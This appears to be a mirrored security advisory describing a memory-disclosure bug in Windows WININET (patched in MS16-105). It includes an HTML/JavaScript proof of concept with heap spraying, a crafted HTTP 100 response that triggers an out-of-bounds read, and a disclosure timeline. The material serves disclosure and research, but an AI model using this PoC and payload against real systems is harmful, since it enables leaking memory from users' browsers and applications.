扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 |
<!-- Source: http://blog.skylined.nl/20161110001.html Synopsis A specially crafted HTTP response can cause the CHttpHeaderParser::ParseStatusLine method in WININET to read data beyond the end of a buffer. The size of the read can be controlled through the HTTP response. An attacker that is able to get any application that uses WININET to make a request to a server under his/her control may be able to disclose information stored after this memory block. This includes Microsoft Internet Explorer, Microsoft Edge and Microsoft Windows Media Player. As far as I can tell WININET is widely used by Microsoft applications to handle HTTP requests, and probably be all third-party applications that use Windows APIs to make HTTP requests. All these applications may be vulnerable to the issue, though it may be hard to exploit in most (if not all, see below). Known affected versions, attack vectors and mitigations WININET.dll The issue was first discovered in pre-release Windows 10 fbl_release.140912-1613, which contained WININET.DLL version 11.00.9841.0. This vulnerability appears to have been present in all versions of Windows 10 since, up until the issue was addressed in August 2016. No mitigations against the issue are known. Microsoft Internet Explorer XMLHttpRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it. Microsoft Edge XMLHttpRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it. Microsoft Windows Media Player Opening a link to a media file on a malicious server can be used to trigger the issue. Microsoft has released two bulletins to address this issue, one for Microsoft Internet Explorer and one for Microsoft Edge. I do not know why Microsoft did not mention other applications in their bulletins, nor why they have two fixes for these specific applications, rather than one fix for a component of the Windows Operating System. One wonders what would happen on a system where you have previously uninstalled both MSIE and Edge: do neither of the fixes apply and will your system be left vulnerable? Let me know if you found out! Repro The below repro consists of two parts: an HTML file that constructs an XMLHttpRequest in order to trigger the issue and a raw HTTP response that actually triggers it. --> <!DOCTYPE html> <html> <head> <script> // This PoC attempts to exploit a memory disclosure bug in WININET.dll // that affects Microsoft Edge and Internet Explorer. However, it fails // to reveal any information as intended. You might want to use this as // a starting point for further investigation. // See http://blog.skylined.nl/20161110001.html for details. window.onerror = function (a, b, c) { alert([a,b,c].join("\r\n")); } var aauHeap = []; function spray() { aauHoles = []; for (var u = 0; u < 0x10000; u++) { var auHole = new Uint32Array(0x200 / 4); aauHoles.push(auHole); auHole[0] = 0xDEADBEEF; auHole[1] = 0x0D0A0D0A; auHole[2] = 0x0; var auHeap = new Uint32Array(0x200 / 4); aauHeap.push(auHeap); auHeap[0] = 0x41424344; auHeap[1] = 0x0D0A0D0A; auHeap[2] = 0x0; } }; function sendRequest() { spray(); var oXHR = new XMLHttpRequest(); oXHR.open("GET", "Response.http?" + new Date().valueOf()); oXHR.send(); oXHR.addEventListener("load", function() { alert("load: " + JSON.stringify(oXHR.status) + " " + JSON.stringify(oXHR.statusText) + "\r\n" + JSON.stringify(oXHR.responseText)); setTimeout(sendRequest, 1000); }); oXHR.addEventListener("error", function() { alert("error: " + JSON.stringify(oXHR.status) + " " + JSON.stringify(oXHR.statusText) + "\r\n" + JSON.stringify(oXHR.responseText)); setTimeout(sendRequest, 1000); }); } sendRequest(); // This work by SkyLined is licensed under a Creative Commons // Attribution-Non-Commercial 4.0 International License. </script> </head> </html> <!-- Response.http HTTP/1.1 100 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1 200 X Description When WININET is processing a HTTP 100 response, it expects another HTTP response to follow. WININET stores all data received from the server into a buffer, uses a variable to store an index into this buffer to track where it is currently processing data, and uses another variable to store the length of the remaining data in the buffer. When processing the headers of the HTTP 100 request, the code updates the index correctly, but does not decrement the length variable. When the code processes the next request, the length variable is too large, which can cause the code to read beyond the end of the data received from the server. This may cause it to parse data stored in the buffer that was previously received as part of the current HTTP response, and can even cause it to do the same for data read beyond the end of the buffer. This can potentially lead to information disclosure. The larger the HTTP 100 response is, the more bytes the code reads beyond the end of the data. Here are some example responses and their effect: "HTTP 100\r\n\r\nX" (12 bytes in HTTP 100 response) => read "X" and the next 11 bytes in memory as the next response. "HTTP 100\r\n\r\nXXXX" (12 bytes in HTTP 100 response) => read "XXXX" and the next 8 bytes in memory as the next response. "HTTP 100XXX\r\n\r\nX" (15 bytes in HTTP 100 response) => read "X" and the next 14 bytes in memory as the next response. "HTTP 100XXX........XXX\r\n\r\nX..." (N bytes in HTTP 100 response) => read "X" and the next (N-1) bytes in memory as the next response. Exploit This issue is remarkably similar to an issue in HTTP 1xx response handling I found in Google Chrome a while back. That issue allowed disclosure of information from the main process' memory through response headers. I attempted to leak some data using this vulnerability by using the following response: "HTTP 100XXX........XXX\r\nHTTP 200 X" I was hoping this would cause the OOB read to save data from beyond the end of the HTTP 200 reponse in the statusText property of the XMLHttpRequest, but I did not immediately see this happen; all I got was "OK" or an empty string. Unfortunately, I did not have time to reverse the code and investigate further myself. All VCPs I submitted the issue to rejected it because they though it was not practically exploitable. Time-line October 2014: This vulnerability was found through fuzzing. October-November 2014: This vulnerability was submitted to ZDI, iDefense and EIP. November-December 2014: ZDI, iDefense and EIP all either reject the submission because Windows 10 is in pre-release, or fail to respond. August 2015: re-submitted to ZDI, iDefense and EIP, since Windows 10 is now in public release. September-October 2015: ZDI, iDefense and EIP all either reject the submission because they do not consider it practically exploitable, or fail to respond. June 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue. September 2016: The vulnerability was address by Microsoft in MS16-105. November 2016: Details of this issue are released. --> |
体验盒子
